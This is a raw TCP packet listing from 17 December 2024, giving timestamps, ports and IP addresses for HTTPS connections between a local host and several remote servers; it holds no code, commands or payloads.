Dec 17, 2024 22:25:07.339340925 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.339410067 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.339416027 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.382802010 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.390906096 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.396570921 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.396636963 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.396642923 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.409914970 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.409957886 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.409985065 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.409991026 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.410181046 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.410185099 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.450567961 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.451064110 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.451071024 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.457262993 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.457333088 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.457338095 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.470731974 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.470886946 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.470894098 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.484155893 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.484216928 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.484222889 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.497879982 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.497944117 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.497950077 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.511436939 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.511605024 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.511619091 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.524471045 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.524640083 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.524646997 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.537672043 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.537838936 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.537858009 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.548001051 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.548168898 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.548181057 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.558811903 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.558979988 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.558986902 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.568645954 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.568726063 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.568734884 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.578200102 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.578305006 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.578311920 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.587577105 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.587667942 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.587676048 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.597223997 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.597305059 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.597311020 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.603640079 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.603713989 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.603719950 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.610050917 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.610112906 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.610122919 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.616480112 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.616602898 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.616609097 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.623192072 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.623351097 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.623358965 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.631197929 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.631278038 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.631283998 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.636686087 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.636769056 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.636774063 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.642579079 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.642642021 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.642647982 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.648837090 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.648901939 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.648909092 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.655277014 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.655345917 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.655352116 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.661807060 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.661889076 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.661895037 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.677588940 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.677706957 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.677720070 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.679092884 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.679186106 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.679193020 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.695729017 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.695832014 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.695852041 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.704370975 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.704447985 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.704468012 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.716969013 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.717041016 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.717046976 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.750741005 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.750819921 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.750832081 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.752206087 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.752275944 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.752281904 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.754265070 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.754395962 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.754401922 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.756670952 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.756766081 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.756772041 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.760958910 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.761033058 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.761038065 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.763077974 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.763155937 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.763160944 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.765031099 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.765086889 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.765093088 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.767162085 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.767235994 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.767241955 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.769454002 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.769531012 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.769536972 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.771976948 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.772046089 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.772052050 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.774035931 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.774101973 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.774107933 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.779627085 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.779705048 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.779710054 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.784434080 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.784502029 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.784507990 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.789501905 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.789563894 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.789570093 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.794641972 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.794703007 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.794714928 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.799648046 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.799731970 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.799736023 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.799766064 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.799818039 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.806406021 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.810966969 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.811047077 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.811053038 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.811079025 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.811141968 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.811342001 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.814904928 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.814961910 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.814977884 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.819386005 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.819459915 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.819483995 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.824331999 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.824407101 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.824415922 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.828701973 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.828800917 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.828808069 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.833395004 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.833468914 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.833475113 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.836882114 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.836955070 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.836961985 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.840348959 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.840423107 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.840429068 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.843817949 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.843919039 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.843924999 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.847418070 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.847528934 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.847534895 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.851541996 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.851622105 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.851627111 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.854036093 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.854113102 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.854119062 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.857584953 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.857650995 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.857656002 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.861430883 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.861499071 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.861505032 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.864281893 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.864351034 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.864356041 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.865042925 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:07.865109921 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.865293026 CET	49755	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:07.865303040 CET	443	49755	142.250.181.132	192.168.2.16
Dec 17, 2024 22:25:19.221882105 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:19.221939087 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:19.222054958 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:19.222407103 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:19.222434044 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:19.228267908 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:19.228291988 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:19.228389025 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:19.228786945 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:19.228809118 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.707982063 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.708296061 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.708359003 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.709851980 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.709929943 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710310936 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710371017 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710391045 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710439920 CET	443	49756	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.710500002 CET	49756	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710716009 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.710768938 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.710855007 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.711050987 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:20.711077929 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:20.712151051 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.712354898 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.712376118 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.715709925 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.715787888 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716069937 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716101885 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716121912 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716172934 CET	443	49757	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.716231108 CET	49757	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716367006 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716404915 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:20.716479063 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716669083 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:20.716681957 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.007198095 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.007488012 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.007549047 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.011168003 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.011257887 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.011538029 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.011674881 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.011687040 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.011746883 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.012527943 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.012721062 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.012737036 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.015750885 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.015837908 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.016125917 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.016213894 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.016251087 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.059357882 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.061781883 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.061801910 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.061899900 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.061912060 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.109796047 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.110095978 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.548923016 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.549256086 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.549344063 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.550064087 CET	49759	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:25:22.550107002 CET	443	49759	104.21.16.1	192.168.2.16
Dec 17, 2024 22:25:22.552524090 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.552557945 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.552628040 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.552910089 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.552922010 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.553256989 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:22.553313017 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:22.553383112 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:22.553641081 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:22.553672075 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:22.658166885 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.658410072 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.658478022 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.658940077 CET	49758	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:22.658962965 CET	443	49758	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:22.661051989 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:22.661088943 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:22.661169052 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:22.661463022 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:22.661479950 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.796886921 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.797983885 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.798297882 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.798310041 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.798413992 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.798479080 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.800030947 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.800107002 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800412893 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800412893 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800468922 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800512075 CET	443	49761	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.800565004 CET	49761	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800781965 CET	49763	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.800846100 CET	443	49763	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.800923109 CET	49763	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.801150084 CET	49763	443	192.168.2.16	104.21.112.1
Dec 17, 2024 22:25:23.801170111 CET	443	49763	104.21.112.1	192.168.2.16
Dec 17, 2024 22:25:23.802278996 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.802454948 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802644968 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802644968 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802685976 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802834034 CET	443	49760	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.802928925 CET	49760	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802943945 CET	49764	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.802989006 CET	443	49764	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.803051949 CET	49764	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.803222895 CET	49764	443	192.168.2.16	104.21.57.143
Dec 17, 2024 22:25:23.803234100 CET	443	49764	104.21.57.143	192.168.2.16
Dec 17, 2024 22:25:23.873632908 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.873977900 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.873994112 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.875700951 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.875766039 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876044989 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876060009 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876104116 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876132011 CET	443	49762	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.876178026 CET	49762	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876419067 CET	49765	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.876450062 CET	443	49765	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:23.879221916 CET	49765	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.879488945 CET	49765	443	192.168.2.16	172.67.164.87
Dec 17, 2024 22:25:23.879498959 CET	443	49765	172.67.164.87	192.168.2.16
Dec 17, 2024 22:25:24.507054090 CET	49766	443	192.168.2.16	142.250.181.132
Dec 17, 2024 22:25:24.507150888 CET	443	49766	142.250.181.132	192.168.2.16
